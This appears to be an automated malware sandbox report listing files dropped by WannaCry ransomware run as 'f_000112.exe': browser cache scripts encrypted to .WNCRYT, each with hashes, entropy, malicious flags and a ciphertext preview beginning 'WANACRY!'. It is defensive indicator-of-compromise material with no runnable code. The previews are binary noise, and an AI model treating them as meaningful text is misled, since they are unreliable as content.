                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\aABLNT_FV45QjYQfnRHrBCAk4GU[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):121496
                                                                                                                                                                              Entropy (8bit):7.99866131332877
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:DTNnWstJ3AChefSeNJCR5rxzi4S5JpQ1l:HNW437wqYCR5NHP
                                                                                                                                                                              MD5:F76191F062C6E91B6CD837766D8E7A14
                                                                                                                                                                              SHA1:F5B4BFF3E5054652B75E17E191169B4D2A954340
                                                                                                                                                                              SHA-256:0E3314E7160DD33D14FDCBD14AD4B24AF0C7F01473BFEA1BA98734213D3E7021
                                                                                                                                                                              SHA-512:7F312371FF3DB39FB4B81943A02702AAE3AC6C832B2461EECA668345998A2E9B5141FDACA0C0A80E09158CFA6F9FD40325B8477154DC51F2293039619885E93D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....e..T.Pf~..m.N.w4.N.&Va'. 2...z..Y..\...;.........._!.4.Fp.D..i..'rD....2Y.....{..c._........S.gFN.qR0...c...i...*...n...C..Q....XR|1:.j..5....Z...D...S.e....s....^.z.7rC"( ..V......ma..!..C....O.,........~{...c&+.z]V+....h..f..4...pQ+...Cn.....~........y1LN.atPDH"q...II.;....F?..K...trZ]\L.$...:.uu....l.%.......}..\.9.5W.#..Y5d.u$.fwX.bC>.@.......M.$.j..'.*.27..I....s..oq...4..4$....T.73.J1}..8..........,.....)z.t.../h...P.xf.T;........<../..;(...B........K=NE.2.p . W]1s.PDT.}G,......./..a3..:.I.u..d....&&t...(..[....-..,.../..n.....G....`.3.b>.&.{..Q.{...t/...........p.s.....=...VW.+w.r.z..2..6~A^......_....L....J.O.......1..B......X..@.Oa"..5.C7.q&.,YD?.......v]n..@"...o!A...X.@{J..'.6&....g.......>.%V.xZ.@...Y->dN.=...3....&........_.W..=.uz.....P......sD4.....J........,..;.@K.(..$<.K.....5M...E.r.....M..qj.....ru .3p..S..z#s.....&...Q..h3..r.b..I'.. t.q....r...r..iH5#..^............A..hgBI..{.D..m\*...q

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\axXWui3EcbJQ5EbqyMZWmTud9p8.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):4024
                                                                                                                                                                              Entropy (8bit):7.952037600286876
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:ocxPAV4xVcQkpP/3ZQra+eOV2rvdi5onSf9OS/kCmBciVU/8Z:zoQkp33wa+enrM5onGYS/kCic3Y
                                                                                                                                                                              MD5:6B93E753916A99AD89B4321D4D569C81
                                                                                                                                                                              SHA1:64F1CF9CF26CFBD5B73B23DE535488DD966BB15B
                                                                                                                                                                              SHA-256:5EAF7B91D05AA5E8E72CCC76493CE7F9C365FDB6603D6F74135EF82C68000BE4
                                                                                                                                                                              SHA-512:977B3F012E919D37CCD1511BC6324FD4B7672F5071DB011DF814CEB0F5BA75CDC38FFED844A51C542C5DA5D65243307AD5AA63AE63F4970386EC88F057352C37
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....T.......g....'.mq......f.p.&.9.0J^R..^...YQ.....9uh7. .{.9...D......E.R...j..N`io..?.]8.h......`:.q.1.r.<lB.yM..IP.F...up.D9$..7j)I..gz4 ..q..F?.s.d..f"x._...].m.K..|%..d...N..x....'r9...d...@^...F..U....$fE....H.)l.....N..5$......&.a..............g........%....`.0P..c..?..@O{F.A.P0...X.\o7.k..+.....V.v+_.....Y......j.L<h..M4...N.Y.y.h....C.9_.=V.....8z..d8.mi........]....oa.L.....;i.....{........O.....K..c.a..0.:_.0:...<m8x...I..j...H.._\..R....2.`=.........%.l=..J....x...5...W...<.2}..xKQr]./.bUv..f..........\...5.^Q.m.js.f.r...~'.a."..K...7.....y6.sL..%'.9.)....f..B...N...$..Ft..k....'..........@...d/&...N..2XpG..Ce.C!-.$`...V..e...{.Z..........N(.7...:...{=..s...PS.>.(....X.dN....s..;..~.....qu.n8i.N...O......3...V....I.1...U.p|....<....m..P3...`.M$.2.a.....qp...M....+.. ..7.Hf.~@b...Q.Y.r..M).5.6hTJ..:Z....2...D(...........z..Z.S`A.....!h.s.z..Z.....h...x.9......@of.l....Z.k....F....l..==..R....3.J...."].$U5j.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\e1-xFG2R7U1WW0CqiDQb99OPDgc.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1752
                                                                                                                                                                              Entropy (8bit):7.9007781122830085
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkt7G5B+0LZLyTYoJ8eE/MLoWH7cl0ruLQ:oIi0FLsFah/MUWH7PuLQ
                                                                                                                                                                              MD5:FD579CC3F5D9606FCB83EB90564C2134
                                                                                                                                                                              SHA1:4923C915C7312B5CB8D4FB24D5B746BDEA607D2B
                                                                                                                                                                              SHA-256:A78567AF3FED9A03A5926596AE390F615EA9F6A10CD29C7195BC9B44C78B4219
                                                                                                                                                                              SHA-512:FD52AEE3628DBD9B5874366D315F4944D1A2F0F6F26E11A52880C9A3C27EAC41E3946EE892EEB5D9B57DA67906E523C3627145F8B6C409595599954AC68E64A9
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........P..PI5.._........V]..O..../.+.;J.q.`k.......R...h<...x.}*|...).h.........q.-p{...?..cn\...es%?....v..."|.$...R.X..U..K...d...<.Q..>G.......3).b.....u.ZG....y.<.n[.$.m......Y.]....}c.2:g...;'.".M...k........v........"^.euxv/o.f.|..*..q+.>..............E|RC..:.......4....(/....ld+./....d...qf..'g.g.fs.....z-Mq.z....;~b.w..bh@WG...q.....D.^.9.....CFF.f....-...in..%!..L.....3.5....tY.<.._...........0V......2..v..'..^..\...03YcS..L.4..6.2..fn..E...#...b.."s....P..z.U..x...D..m...Z.+.7......4..i.}.._Vw..CB.*...y...:_..OT.6.ey...h.?.o3.L...zn.3.`b.|D.o.......54..w.n..d...D..#.w.q.....-...;..n6[....[.X3.m....Y.......X..,........|.W9...}......`G...d.0..go.Y.qN.p.fI.|.rw.c#.%.K]...]..Z.gM!J.2..4T......a...M.f..7.are.....k..= ..c.%`glx.{..jI0;..5}......a.W.W......5...{.~.........Qg.'..PD..n....bF^=.q....1....=.:....z...C..&....[...4N..'U..e..AR.>..4^;.(*..+..TD.R.I..|h.+D.....~_./\5.L..=..6..iH....W.8."..P.+.....s:.........

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\f8FI06PDUmw1Zws81nUDYY3bWsY.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):45208
                                                                                                                                                                              Entropy (8bit):7.996392038666266
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:768:m5f/UtpfwHQVB94ls4i5upkiQB8JSdXX4SKkxJZiTI3JHxO5:mt/ehwHQVL4XickiQTXC+Jgs3T+
                                                                                                                                                                              MD5:E74F5758B07F9AC1B30CB0940F0FCC63
                                                                                                                                                                              SHA1:F27DC66FF160755D63D60E323B310633FD061C66
                                                                                                                                                                              SHA-256:B1529FBAE187A7830939AEBD891C8F7BF3B7E4BAD0D41C7B385CC27763F2F0E2
                                                                                                                                                                              SHA-512:1C930169EA72171A97F0C184C613F8CE7F4D21414B0129FF5CE7A94A72159DDE08873FC665630231FA5DD14CCF6EBE1223E90DD3E7C20C9B17844E6A43FA4E8D
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....(..{X.`.PN.2...E........3S,./l....4@sV..J$.IP..`.}.\.g;X.r..ZE....>,Y?.j......I..g.|Z...'.:..C.~.9G...l..^\+.$...@.....].1.]+.|}....D......?1Oa3.k.e..#.E......3p.J.....!....O...Z'(.....=-...R....xI.. ..l#q.{."7C..s...<.pS G'...>..mS.....a....}.............,..,.q..6..{U....../!Z7.......M-..a{E._MW;2.......Q-r.^.....m..4.k.'n......o,$..{.../A.H...3/_{z.....P...>Q.M.K.(FvQMxQZY..,g.C.....h...:B.p.[.......b..?.H<Q....}e...{....2....>.(o..w...5.....\.$Z....A.T|..>K...7.9......>.y..6.)...z.1#..'........).D...U.5......K.?...X\N.K...1t;.N.....p.....D....`.8.pg.o.j.M...[y.........._.]R..Fcq...~..AE..DZ.....T&t.2d.'...$....4.... 4..c.d...._Nz.#...-.....@.P.#.*.K<.X..I..3+...$..]b..GJ..>.~."...?.8R<.d.~....<.B..."..'.a._.@.a.d..d*[...7&~Y......q..sa........&.D+.I`"..2t.....J.<.&)...JZ.n.s.1..|....0l..k....lW.~./..kQ.&..y.q5..g......E,.-G.I...I...i.=...r.3.%.G......1[.1X5K.b'...4I....!d...^d...%.u..].....7...'b.C....v.}.y.....h2.e.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\h0_ymK9wPEJMicnVALPw5taHcNA.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2184
                                                                                                                                                                              Entropy (8bit):7.923520494029752
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkKBJ829CIgJi2GxWb/CAgpPKslRvcxYg5hg9fxztrF:oKf9EJi2Qi0vcxj5hadtZ
                                                                                                                                                                              MD5:A8690FCC0F66E805C466863AACCDEF72
                                                                                                                                                                              SHA1:00D4194940259AA8D93C0D7018EABF69A44A424D
                                                                                                                                                                              SHA-256:2309B746C1F4E6959FA751AA36FB88849380C857DF28BD15D224BA3ADB7ACAC8
                                                                                                                                                                              SHA-512:0265C8FB4BCC42349F993A7D4E9A41C36D34E5C4DE072854A3B8C3BBE3311BE2A14C4D357BFEA3FE107A38A2AE747CE14820FD5EBA02C37D51E765BD50EBED4A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....+......S.4%)...8f!......US....tK...gv5.K........N.'I?.J...q.Qe... ..*.a.-Q..V...o].{VTA^.t...@..G%(D.DjK.........N....../U..E.K.c...M7.......1...{Sg.>PF.>\.....Do'n).k.V...G"..FE.n.9.Y.l.n......F\<J....5...\ah...:.[.S..B+.F.....;8...r.Q...w)'f..M3....b.......9...l.NO.g.5...+`{h.......r..,T=}.Ly./ ..~j...+....I..?.8.........}C=..........V)xLT...g.........,...q.j#.t..x......S........VO..}.Kp..<m.r'*..]r.{.t.]u......}...m6.x...6#.N...M..|.. ..R.$.5..J..y.[E....A,..........)[.Z.4.n..d.HZ..=.U.S.b.M..JsM.N>....L...:{M.9.J.q.....}I*WoQp........LZ.m......\S._..P..(l.j..Z..u.......2.J.;.h...F...z.9..F./A......./G....]k......,X`.L.......=....`D...t.B... .&..,.=..K.L.+.U...}.W.uq..\.^Ja.....K..V...:w.E....T...'..r..].............g.>.O8.!..g..1.H.;.5..s...).;...W...h..6.p'..lyW....~.....q......2.;q.....!......h.~.o.5>...\..\^G.....?....3D.....*.=#X....Wk.c./.../.k.%...:.&...^l.|.?..%.....r*.;...Z...PF.(.s..-....[.K8u..~)1......gMg..0..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lh0O3d6Fmm9PYPDqG8PqHJ4MS7w.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):71000
                                                                                                                                                                              Entropy (8bit):7.997760971515586
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:1536:ofFefwEiJP4wFMptzYSsFZT6oXGYdXiE2XEUUjpqLSVdmSjG:oflPTFMpt9oXGcihXEzjhVQSjG
                                                                                                                                                                              MD5:43C50513259051CA0BD5350AB75859CD
                                                                                                                                                                              SHA1:26F4A1CDBC3D65CF6C1FC122069594B6773F0FE2
                                                                                                                                                                              SHA-256:249DD52563BEE4CF344137576FAD19FD13A00A75340554F5D6AD0E5F1F97E942
                                                                                                                                                                              SHA-512:476F6335F5B638020791F557160EB8332816CCF078781B33816AE5C12DAFC8268DF8EC6C454BF77FF7E2C2ED0D37708BD9D333D6F7084988B7C5A6F9B49F73BD
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....NX<..A......iM...h...(.s7/.*.z......5].5.J.#i.I...x.....B_.GFg"..l...vo.&.w...w5.%27....... .t.Nf.R.'f......G...\N9...._.OA.O........l...g./...i..+..........(.J...8...|\[......t.....C..e../..47.X.u..*R..#a.aU....vO..?...i..L9.......NJ.@..P.;g....;.........f..6.B.E.<.m../..tC#1.I..1.L.k...-.O..../{.Q..Mp%...?.X...X..0.W.}.~%L....$.www.\.r.^......W......../4.N3!+5..Gl;/S.BT/......o.&....OfM..g.=...%...xf./b.....(..2e...C......:.l.....d,....X ...i;..:.....o.w%......#6x.X.l.R.....AS........j......o........Q...6.M..t.|5..""..Jx.N.o...n~..v?s.}.%EZ....%.NDh.&....G..Y./..I..)l..L...l>....u..#...&u......m......#......ji.w.i.k.....z.j2..X...V....H.{H.._D..2!."......VW.....}...............D.l....1_.`=.<W!aX1..ia}uP~...9#B.]....^..........2.V....h..z.dS1..i....Gj.[.9.=....zFG....l.'Q).Q.....0'N.:.N<.}..=..X..>.m.V...=..."j....4..g..Gl.2..}.K...0..5.vz....=.9.j.RY..V@...^.*|.i..U....lM6.}m<.Z.....{.hp..?Bs+.0..,on]...c......U.-...Y.8}. r....

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lpbsfnKE_8agtRF97FH08WFLR1w.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):344344
                                                                                                                                                                              Entropy (8bit):7.999436272890211
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:6144:fPC+h/4KhkjQxE2gheo3c6TLNAEE4VbeazSnDgw2JJSjPRtA3S7chPS89yMU6MjB:fnzgQxECoM6LNAh6TzcgdPSjp4EANTMl
                                                                                                                                                                              MD5:8C995714748880E108DFB27D03A2D06D
                                                                                                                                                                              SHA1:84DEAB73B39A834437733BF0DB4DBDE7EAFB3A3D
                                                                                                                                                                              SHA-256:CD0432D9B18213CB12E5AA12B862AF41F85A54ABF4695053587D770FCEACB508
                                                                                                                                                                              SHA-512:E5A34DB21A78E5EF3026FD6CF95BE8F03D5EAC01CF6B00AAD7041CA50B0E555810577C4432C17130E5CC5F6AEE7868E9826AC74047A49245F293E2C82202E8D8
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....l..}.C......KO......'..s....N'M..Q.I*..s......(.....Xd@.m.u\j.mC.d.P..>!......\....lp.....LJ..:...Z...H%.e...j.{(..3Ml......E.8.w..Cs9.....t.....5u.H)hx.{.....H.....f....W.../2..0+.J.`.P..v.F.`.7...LS..........S}.q..n?....~CY......j#WW....I.....?......>qh.6.{..C.A.7......U...IB....uV.h.|L........c...R...>..y.>..`..Mw..W...Q.c.J.J.6......U.%..0..S."...,.a..q.....P.2.....:...#....m....nS.+..3.yw...U.nm.E..U..A.Q/...N)Cr...M`....[..6..l...1nP...S~...2.j1.we..>#.....M....-44./.....E...V.a......p>U...8.'..\...x.CW...<z..Z6..E5O.Ys.t|.w.x.)7.<G._..P..$<BF..<.{.....+x..b%ht..Z....)..E...PfvP.;3.^.p~S..:....L....h.k....WN..L4V0f.>H >.r....t.......C%.S.Q_.....jxf...R..s.(.g...vb..J......D1..%A.l....l...'*A....&.ug...x......4..c.]...Y...h.V..CR?.....;...V..0.O.......cf?ED..Cj:.,.b.ir...?...{]...M.x.^..E[.X<..Lf."..l...F....y.......i..Zpmi5m...t]..}".(...L1...'.O:......Xol.....P+...E..d....c|.e..>W3....C);{.p..X....O..m....UA.I..

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\lu0mWeI3G2l7mRreeuIGIzuL1cw.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):7752
                                                                                                                                                                              Entropy (8bit):7.976191256304998
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:96:oa+VAQeWe9JzRJRpMZ48rs36nXWmEkm2GXvB0j4xkxxZBoc/EKMehxU4hswmnHkF:VMAQzcdRpC4B6XdRm2arkx9ooE7x+bnF
                                                                                                                                                                              MD5:7F671EA9CE839A19DA00D79373DD5BBD
                                                                                                                                                                              SHA1:BF6415533E00091F5FB515C5ED3028EAD8F221DF
                                                                                                                                                                              SHA-256:3AA9411DA51541B15A2D7FA8826D1E5F0C531A64D8DAAA4E2471B69DF8A849E2
                                                                                                                                                                              SHA-512:51B561799F2A14094FE742D8C22879E289B02F2C1008A0B856A95205B218F3CDCA38CEE1577FDFE36BFE42B334B3FE34A4744C8C0C52B21FF7DC8FF42CCA9175
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......h.(|..... ....=.j..'3.*..x..O3.....yv..%....n..d.]:...Fj.....5....d5!.14.V.N.........)......uf.6*=.......~9.............l..>.B\.PJ..m..HK9X\S $.I.El.A_....l.C.".........#..}...B.D-._......@...'.Nd..I.....y...6...%...D..#p..'}..S.Y{.$.F...C..B.....$.......[......O{.BSAs.-+v:i2.w/.D...#.<qfX....z..iE..N.?.Z.....E\...%.w..38....l.9........d}...~..c..H..S.=..j$...S.#y\....)A....G-.+.......*.7...Q.@P.0Gv.......).8TDY._:...7....[C..Y..YL...!...n.$sSw.G.L.ipP......h.#.....R.t...2../....glN.v...7...C.D`...[.Qc../8.Q[.. |..sY.......1~Lz:.......E.9....\.....@.A..QS..gl...m...b.9e....v.?H.=.E.a...2...?+"..f...!.Y.'...[....l...k..zi.....3...Tt&.l.=,...^.b.P..o*z.....y...z.Q...P..SKC...;...,.H..V..F.#a\.`.#5.%.P@..{Ua.qr...>.....ANd`.....O.....X]U...!]$o.k..]......oOm....khk&...)ij.....#...%..2)..hK.z"@.Qu=lS[.iA.4E....<...5..*"..@t..f%...K.t...=z'..%..FZw..KEF....7...c..1..{ZV.y.1:..JyR.l*.........w.../.....V.)....2.T.cX.{.."7

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\ny8zro4pDGbiNebl2UkdFP3COms.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2344
                                                                                                                                                                              Entropy (8bit):7.917269676040732
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkRYlQfTEF9QMuqk0+j4O9XTCmC9+VXuPmkSEnZ0+guDLo+/3u+NMXC:oWlQ7Byk0+EJmdhuPmQDgSLp/vp
                                                                                                                                                                              MD5:CAEC18594D7977A38BCDB80C0B225C5A
                                                                                                                                                                              SHA1:0B7C5A872987FC379B92FC2A8018BAD9640E4133
                                                                                                                                                                              SHA-256:46819F9E10C53F584668F94E9225C94F3A75996AF6856B7BBB6DEBACFBAAF5A3
                                                                                                                                                                              SHA-512:97B17FCC9F9CAF0C981530EAD9284F5756027572966681B974A557E2054E2BFAAC375788EA4A5221F52A50A26F2D0904B15ACD79131064D3B58AA93F396ED994
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........D...J.Od.[5s)...e..Ky.._Nxd.<...O.."./...cN.".gs..u..`.h.^..."..R..GM..5...u.....%Re2_....$.]."0..).N....w..U.W..1..o..TN.&.).4M.^.C\M...L[#..f.... ?.......<gWu..j.O=...D...[}7.f...&..BG.....3...~...?.8g.o.`...Iy.XM.._.bMS.&...P................r.i...x.,}.....\+.vH..].....J8S....i..9<h..{....q.=~..w4l_E.....hgg...|@x..U..Z..0....i.:}rC..0b...1.T.{S..1..k...Y.#6..4..H..&Q.....^...O."..R.pC..p6%..BG.;....e@..p..z.T..w.h.-...^.'..|f9.J......x...f.&..3..J.t..........1`....V0..*?.../.~.......Y1Lg.....D.!.%..l.L.Hx...y..mR.....-.HQN...hr....i..r2.{..Z..,X.AM.x>..A......@......e.PK.A...&nc.|..j..'.....XB.....\.$D..N.2./..J..U...^z...!f9.g...c.2Q...S.A...P.j....oUx...#.p.....*}.f..g..3hEJ].aD...5..p....Z.jXQ..q..d...b..";....o.i.....a....;9o.qH[...I...$_[....(]..%..Nr.P:y..z6..\\..~.+.zj........}.....'..9.d..v....x...5.tR.....Q.......p7g..]>.....H.Fc...r.8.h.f...b...n.{.Q1.o.E..f....w..FL.A..<|C.....6G.A...9t.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\ocVwefBywNlFIk_znEkIhQTcXYo.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1880
                                                                                                                                                                              Entropy (8bit):7.899595579636506
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkeO22Hx/zgzbQI10Mx/P3TbOMFzn+EjMKLQawfPoHZm5Bq3:oeL2Hx/kbQa0MxjSMV+EjZ0fKZIBy
                                                                                                                                                                              MD5:FE70FBD52113FD3E3E601921B34F7BD1
                                                                                                                                                                              SHA1:4CDD78DBF595CAC093324A4F360B4627B872B163
                                                                                                                                                                              SHA-256:718B7F7640B5337257AB8000321BA5BED754C6B382D2D54502218DA743012F85
                                                                                                                                                                              SHA-512:376EBA68FDCD392449AB6DB5A576C1AD6BC09B1C79072D71756957EDDB49CD1DAD69D63A498D51E5C40D7A613A5FDBD76A3DD57A5DC4126D77E905689203315F
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....:...r..z...*.....n..X...4..s.)e.ZWg1`E....o..`;.4...I8.u.2....3.As-........n.8j.Ib....Y....F...'......c(;...Z.h.w.".6.W..3.aE.~...~D........!.V...vq3.......S...T].....].F%._BY...E.....kh.=.u.....knfJ11..Y.....C.i.}p...2.i...).6;.....C.RS.....J52......3.......b.~B....q..._0.r...c9k...o.....w..T..+@.7.o.V....i..w3.z....K...w#Wy}.E....*.U.`yL^.z..E.)......)*.......{.~,u...N...btq..M.+Fy'._t..i.*.kgN..].....G;.....$.Z.CV..&.%..'....g.c...}A.<....].K.U...bf...}/v...cv.n.{.je.%7.......s..B.U.%.Oh&Q..~....@.l...DS`.>:.#..mt..........+..7qw..nl....}....i.i.M.h...5w.$jY.cc.t-.yB#..:.J....lw.%=h.~...rO...x....G.@......$ma]..0...S..".`e....2.EP..m..Q.2D...Al.j.n...11.....S&.5M.$.E.%]...mAL|S..3.':R8Q.N....n........$B..._......{v....._..j..S.Y)n.....%q......3w...`...1.V..2$....."....+,GH:..^&.G.O.D.rn.(.M...g._.. ..@...-...(..[..!.8.....v+JWO....SD.......Az...6..1<........*.(AI3........./:.........]..>u...b8J2(.u......".n<..i....T..~DM.]...

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\q11NvYzJks_3Zy5BRKPM9baeQ7M.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2152
                                                                                                                                                                              Entropy (8bit):7.896747265869269
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk2Ta8i7mSWYmrsuY4ujE+Z/rfi6wR+PlrDmOVv9d/nUly:o26aSWY2jc/rfi6wR+Ntd/N
                                                                                                                                                                              MD5:E25BF3A0912BEB039D2E84EB486DCA6A
                                                                                                                                                                              SHA1:36E3AD85739B8826217FE912C06FE3518B5B6019
                                                                                                                                                                              SHA-256:0F91FA9DC0CB76B1B33ED3C786821501D237BB9F9529218A348BF7B37DC2344A
                                                                                                                                                                              SHA-512:634E88B21F7B18A27B376C638D4069024324B86E517A06E1D2CB2976CDDBE641B27A70D7592B94DCBC32F37D57D7542E0A4B03AD57CB0F0E3E5EB68BF908AA0E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!........<.G_........r.....::.....-.h...4.t.x.-Sej....E...6..V..w:.....F.....$7..,to..h..y.....Cb..@....kx.-#.O..*..A.Yv..O.xJ@...91.v.S.as9h........:...a...a..G.L....!....T.h...Y.....&7.Bx...$..3.q.b{23y.q.....D......Y.f.f.UWT..q..lE..~.......B..e....C........\....n.....h..|-@.'. ...X..Ux..y.B/EP.d.3.$(.qK..'..n:|.0:.^N..J@.|.*wPx....V8...I..D.u.:..[=){...Q..U.#Y...5.hv......B....I.SJS...&....O/...9Q..[.,Q.m........]..w..Kf.....(SR...isK.B.?..@......m.V......I$LB..4...V.M./.w..}.../.......q:.....>).HD.{.]..(.q.....Es.!......H.o.vV...@:.....6...%........CA9.......+..8......<..........g.?..@.g.....c....rr6.-. ..61....S,3/][.d.iS....e.!...Cd@.8E/...+..Y..h..K.D.9..[..B..R...,.^...]".<..y..2.w..I........Nl.Bk.xh.t.*b....B..}D\$w.....D......c.._...Y......!...3x6/t.[$ha...sK.,.Vqp[...5*.C........@.=...c.Z.s...e.|.Fte/......o..qTB....?kL...1.O#..8y%...=.7.Ru...h.x....[...xC...G.c.O-^.`..]+..S...d.. c;-:...2.....QPZ.....W.w.j\...L.>s.xw.7o....j.J.

                                                                                                                                                                              C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\0PV09LN5\15\qdqeXxV0K-pUf7kHZCeiMawV6a0.br[1].js.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1608
                                                                                                                                                                              Entropy (8bit):7.879936775721327
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkX/38SF0QewMS377m2Ygqt+MYDJ4200s2d:oPvvMSLS+Ta20T2d
                                                                                                                                                                              MD5:E05062DA3C74F1B4FB3248BD6242429D
                                                                                                                                                                              SHA1:02FFDB14189A1C91D7645D10C607904C447E810F
                                                                                                                                                                              SHA-256:399D6A105057608613DB76C4C9ECFCCE4800391DBE9DD7827CD145A6CD594A7D
                                                                                                                                                                              SHA-512:2C495A8679D1A52EC8417A5AC056C1152A884B9558E46C2C3E9AC9422F0C4206C646058E4A96797734CAFCC376BDBBE5DB687D1E5575714A99AA551BD1A47ACC
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
